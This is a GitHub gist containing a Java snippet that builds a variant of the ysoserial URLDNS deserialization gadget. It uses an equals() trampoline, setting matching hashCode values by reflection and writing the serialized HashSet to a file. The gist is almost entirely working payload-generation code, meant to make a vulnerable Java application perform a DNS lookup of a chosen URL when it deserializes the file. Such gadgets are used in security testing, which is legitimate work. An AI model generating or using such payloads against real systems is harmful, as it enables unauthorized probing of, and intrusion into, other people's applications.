Skip to content

Instantly share code, notes, and snippets.

@Frycos
Created February 3, 2020 21:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Frycos/e3811d4a2e2d856e9928ec1790fb7863 to your computer and use it in GitHub Desktop.
Save Frycos/e3811d4a2e2d856e9928ec1790fb7863 to your computer and use it in GitHub Desktop.
/* ysoserial URLDNS gadget
* but this time with equals() trampoline
* hashcode is not set to -1
* author: @frycos
*/
static void buildDNSGadget(String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler);
URL dc = new URL(null, "http://127.0.0.1", handler);
HashSet ht = new HashSet();
ht.add(u);
ht.add(dc);
Field hc = URL.class.getDeclaredField("hashCode");
hc.setAccessible(true);
hc.set(u, 1337);
hc.set(dc, 1337);
OutputStream os = new FileOutputStream("C:\\Users\\Public\\Downloads\\file.ser");
ObjectOutputStream oos = new ObjectOutputStream(os);
oos.writeObject(ht);
System.out.println("Serialized file written...");
oos.close();
}
static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment